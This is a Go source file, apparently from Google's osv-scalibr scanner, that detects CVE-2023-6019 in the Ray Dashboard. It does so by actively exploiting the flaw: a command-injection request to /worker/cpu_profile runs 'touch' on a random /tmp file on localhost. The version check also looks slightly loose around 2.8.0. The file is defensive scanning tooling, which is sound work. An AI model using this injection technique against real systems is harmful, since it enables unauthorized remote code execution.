github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve20236019/cve20236019.go (about)

     1  // Copyright 2025 Google LLC
     2  //
     3  // Licensed under the Apache License, Version 2.0 (the "License");
     4  // you may not use this file except in compliance with the License.
     5  // You may obtain a copy of the License at
     6  //
     7  //      http://www.apache.org/licenses/LICENSE-2.0
     8  //
     9  // Unless required by applicable law or agreed to in writing, software
    10  // distributed under the License is distributed on an "AS IS" BASIS,
    11  // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    12  // See the License for the specific language governing permissions and
    13  // limitations under the License.
    14  
    15  // Package cve20236019 implements a SCALIBR Detector for CVE-2023-6019
    16  // To test, install a vulnerable Ray version: python3 -m pip install ray==2.6.3
    17  // Start the Ray dashboard: python3 -c "import ray; context = ray.init(); print(context)"
    18  // Run the detector
    19  package cve20236019
    20  
    21  import (
    22  	"bufio"
    23  	"context"
    24  	"fmt"
    25  	"io/fs"
    26  	"math/rand"
    27  	"net"
    28  	"net/http"
    29  	"os"
    30  	"strconv"
    31  	"strings"
    32  	"time"
    33  
    34  	"github.com/google/osv-scalibr/detector"
    35  	"github.com/google/osv-scalibr/extractor"
    36  	"github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg"
    37  	scalibrfs "github.com/google/osv-scalibr/fs"
    38  	"github.com/google/osv-scalibr/inventory"
    39  	"github.com/google/osv-scalibr/log"
    40  	"github.com/google/osv-scalibr/packageindex"
    41  	"github.com/google/osv-scalibr/plugin"
    42  
    43  	osvpb "github.com/ossf/osv-schema/bindings/go/osvschema"
    44  	structpb "google.golang.org/protobuf/types/known/structpb"
    45  )
    46  
    47  const (
    48  	// Name of the detector.
    49  	Name = "cve/cve-2023-6019"
    50  )
    51  
    52  // Detector is a SCALIBR Detector for CVE-2023-6019
    53  type Detector struct{}
    54  
    55  // New returns a detector.
    56  func New() detector.Detector {
    57  	return &Detector{}
    58  }
    59  
    60  // Name of the detector
    61  func (Detector) Name() string { return Name }
    62  
    63  // Version of the detector
    64  func (Detector) Version() int { return 0 }
    65  
    66  // Requirements of the detector
    67  func (Detector) Requirements() *plugin.Capabilities {
    68  	return &plugin.Capabilities{OS: plugin.OSLinux, DirectFS: true, RunningSystem: true}
    69  }
    70  
    71  // RequiredExtractors returns the list of OS package extractors needed to detect
    72  // the presence of the Ray package
    73  func (Detector) RequiredExtractors() []string {
    74  	return []string{wheelegg.Name}
    75  }
    76  
    77  // DetectedFinding returns generic vulnerability information about what is detected.
    78  func (d Detector) DetectedFinding() inventory.Finding {
    79  	return d.findingForPackage(nil, nil)
    80  }
    81  
    82  func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding {
    83  	rayPkg := &extractor.Package{
    84  		Name:     "ray",
    85  		PURLType: "pypi",
    86  	}
    87  	return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{
    88  		Package: pkg,
    89  		Vulnerability: &osvpb.Vulnerability{
    90  			Id:      "CVE-2023-6019",
    91  			Summary: "CVE-2023-6019: Ray Dashboard Remote Code Execution",
    92  			Details: "CVE-2023-6019: Ray Dashboard Remote Code Execution",
    93  			Affected: inventory.PackageToAffected(rayPkg, "2.8.1", &osvpb.Severity{
    94  				Type:  osvpb.Severity_CVSS_V3,
    95  				Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
    96  			}),
    97  			DatabaseSpecific: dbSpecific,
    98  		},
    99  	}}}
   100  }
   101  
   102  // Scan scans for the vulnerability
   103  func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) {
   104  	rayVersion, pkg := findRayPackage(px)
   105  	if rayVersion == "" {
   106  		log.Debugf("No Ray version found")
   107  		return inventory.Finding{}, nil
   108  	}
   109  	log.Infof("Ray version found")
   110  
   111  	// Check if Ray version is vulnerable (< 2.8.1)
   112  	if !isVulnerableVersion(rayVersion) {
   113  		log.Infof("Ray version %q is not vulnerable", rayVersion)
   114  		return inventory.Finding{}, nil
   115  	}
   116  	log.Infof("Found potentially vulnerable Ray version %v", rayVersion)
   117  
   118  	// Check for the "Ray Dashboard" string in the HTTP response
   119  	if !isDashboardPresent(ctx) {
   120  		log.Infof("Ray Dashboard not found in HTTP response")
   121  		return inventory.Finding{}, nil
   122  	}
   123  	// Attempt the curl request
   124  	filepath := attemptExploit(ctx)
   125  	if fileExists(scanRoot.FS, filepath) {
   126  		log.Infof("Vulnerability exploited successfully")
   127  	} else {
   128  		log.Infof("Exploit attempt failed")
   129  		return inventory.Finding{}, nil
   130  	}
   131  
   132  	dbSpecific := &structpb.Struct{
   133  		Fields: map[string]*structpb.Value{
   134  			"extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}},
   135  		},
   136  	}
   137  	return d.findingForPackage(dbSpecific, pkg), nil
   138  }
   139  
   140  // Find the Ray package and its version
   141  func findRayPackage(px *packageindex.PackageIndex) (string, *extractor.Package) {
   142  	pkg := px.GetSpecific("ray", "pypi")
   143  	for _, p := range pkg {
   144  		return p.Version, p
   145  	}
   146  	return "", nil
   147  }
   148  
   149  // Check if the Ray version is vulnerable
   150  func isVulnerableVersion(version string) bool {
   151  	// Split the version string into major, minor, and patch components
   152  	parts := strings.Split(version, ".")
   153  	if len(parts) < 2 {
   154  		log.Errorf("Invalid Ray version format: %s", version)
   155  		return false // Consider this not vulnerable to avoid false positives
   156  	}
   157  	// Parse the major and minor version components
   158  	major, err := strconv.Atoi(parts[0])
   159  	if err != nil {
   160  		log.Errorf("Error parsing major version: %v", err)
   161  		return false
   162  	}
   163  	minor, err := strconv.Atoi(parts[1])
   164  	if err != nil {
   165  		log.Errorf("Error parsing minor version: %v", err)
   166  		return false
   167  	}
   168  	// Check if the version is less than 2.8.1
   169  	return major < 2 || (major == 2 && minor < 8)
   170  }
   171  
   172  // Check for "Ray Dashboard" in HTTP response
   173  func isDashboardPresent(ctx context.Context) bool {
   174  	// Create a new HTTP request
   175  	req, err := http.NewRequestWithContext(ctx, http.MethodGet, "http://127.0.0.1:8265", nil)
   176  	if err != nil {
   177  		log.Errorf("Error creating HTTP request: %v", err)
   178  		return false
   179  	}
   180  
   181  	// Create an HTTP client and send the request
   182  	client := &http.Client{Timeout: 5 * time.Second}
   183  	resp, err := client.Do(req)
   184  	if err != nil {
   185  		log.Errorf("Error making HTTP request: %v", err)
   186  		return false
   187  	}
   188  	defer resp.Body.Close()
   189  
   190  	// Read the response body and check for "Ray Dashboard"
   191  	scanner := bufio.NewScanner(resp.Body)
   192  	for scanner.Scan() {
   193  		if strings.Contains(scanner.Text(), "Ray Dashboard") {
   194  			log.Infof("Ray Dashboard found in HTTP response")
   195  			return true
   196  		}
   197  	}
   198  	if err := scanner.Err(); err != nil {
   199  		log.Errorf("Error reading HTTP response: %v", err)
   200  	}
   201  	return false
   202  }
   203  
   204  // attemptExploit attempts to exploit the vulnerability by touching a random file via HTTP query
   205  func attemptExploit(ctx context.Context) string {
   206  	// Generate a random file path
   207  	randomFilePath := "/tmp/" + generateRandomString(16)
   208  
   209  	// Format the command for the query
   210  	testCmd := "touch%%20" + randomFilePath
   211  	// Perform the HTTP query
   212  	statusCode := rayRequest(ctx, "127.0.0.1", 8265, testCmd)
   213  	log.Infof("HTTP request returned status code: %d", statusCode)
   214  	return randomFilePath
   215  }
   216  
   217  // rayRequest sends an HTTP GET request to the Ray Dashboard and executes the provided command
   218  func rayRequest(ctx context.Context, host string, port int, cmd string) int {
   219  	url := fmt.Sprintf("http://%s/worker/cpu_profile?pid=3354&ip=127.0.0.1&duration=5&native=0&format=%s", net.JoinHostPort(host, strconv.Itoa(port)), cmd)
   220  
   221  	// Create a new HTTP request
   222  	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
   223  	if err != nil {
   224  		log.Errorf("Error creating HTTP request: %v", err)
   225  		return 500 // Return an error code
   226  	}
   227  
   228  	// Create an HTTP client and send the request
   229  	client := &http.Client{Timeout: 5 * time.Second}
   230  	resp, err := client.Do(req)
   231  	if err != nil {
   232  		log.Infof("Error when sending request %s to the server", url)
   233  		return 500 // Return an error code
   234  	}
   235  	defer resp.Body.Close()
   236  
   237  	// Return the HTTP status code
   238  	return resp.StatusCode
   239  }
   240  
   241  func fileExists(filesys scalibrfs.FS, path string) bool {
   242  	_, err := fs.Stat(filesys, path)
   243  	return !os.IsNotExist(err)
   244  }
   245  
   246  // Generate a random string of the given length
   247  func generateRandomString(length int) string {
   248  	const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
   249  	bytes := make([]byte, length)
   250  	for i := range length {
   251  		bytes[i] = letters[rand.Intn(len(letters))]
   252  	}
   253  	return string(bytes)
   254  }